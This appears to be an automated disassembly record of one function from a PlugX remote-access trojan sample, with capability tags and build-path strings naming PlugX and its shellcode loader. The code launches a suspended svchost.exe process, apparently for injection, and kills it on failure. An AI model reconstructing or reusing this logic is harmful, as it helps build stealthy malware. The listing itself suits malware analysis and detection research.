Function at 0x10002440
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push esi
mov esi, dword [0x1002d3c8]
push edi
test esi, esi
jne 0x100024b0
push 0x18
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x100024a8
push 0
push 0
push 1
push 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi], eax
test eax, eax
jne 0x100024aa
push eax
lea edx, [eax + 8]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
jmp 0x100024aa
xor esi, esi
mov dword [0x1002d3c8], esi
mov edi, dword [esi + 4]
cmp dword [edi], 0x504c5547
je 0x100024da
push 0
mov edx, 0x107
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
call fcn.10024152
add esp, 4
mov eax, 0xd
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0x44
xor edx, edx
lea ecx, [ebp - 0x80]
call fcn.100242ad
add esp, 4
mov dword [ebp - 0x80], 0x44
mov eax, 1
mov dword [ebp - 0x54], 1
xor edx, edx
mov word [ebp - 0x50], ax
lea ecx, [ebp - 0x14]
push 0x10
call fcn.100242ad
add esp, 4
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x34], 0
call fcn.1001adc0
test eax, eax
je 0x1000254b
push 0
mov edx, 0x11a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
call fcn.10024152
add esp, 4
mov edx, str._SystemRoot__system32_svchost.exe
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0
call fcn.1001b5b0
push 0x1002
call fcn.10027bda
mov esi, eax
add esp, 4
test esi, esi
jne 0x100025ad
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov edx, 0x127
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
push esi
call fcn.10024152
add esp, 4
jmp 0x100025b6
mov word [esi + 0x1000], 0
push 0
push 0xc9
push dword [ebp - 0x18]
push str._s__d__d
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 0x14
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x10002610
push eax
mov edx, 0x130
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x100026b3
push dword [edi + 0x10]
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 4]
push dword [edi + 0xc]
mov ecx, dword [ebp - 0x14]
push eax
call fcn.1000c8b0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10002673
push edi
mov edx, 0x137
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
call fcn.10024152
add esp, 4
mov edx, 0x138
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
push edi
call fcn.10024152
add esp, 4
mov edx, 0x139
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
push edi
call fcn.10024152
add esp, 4
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x100026b3
push dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test eax, eax
jne 0x10002695
push eax
mov edx, 0x144
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
call fcn.10024152
add esp, 4
push dword [ebp - 0x10]
call edi
test eax, eax
jne 0x100026b1
push eax
mov edx, 0x149
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBoot.cpp
call fcn.10024152
add esp, 4
xor edi, edi
test esi, esi
je 0x100026c2
push 1
push esi
call fcn.10027bcc
add esp, 8
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x100026d4
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x100026e6
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret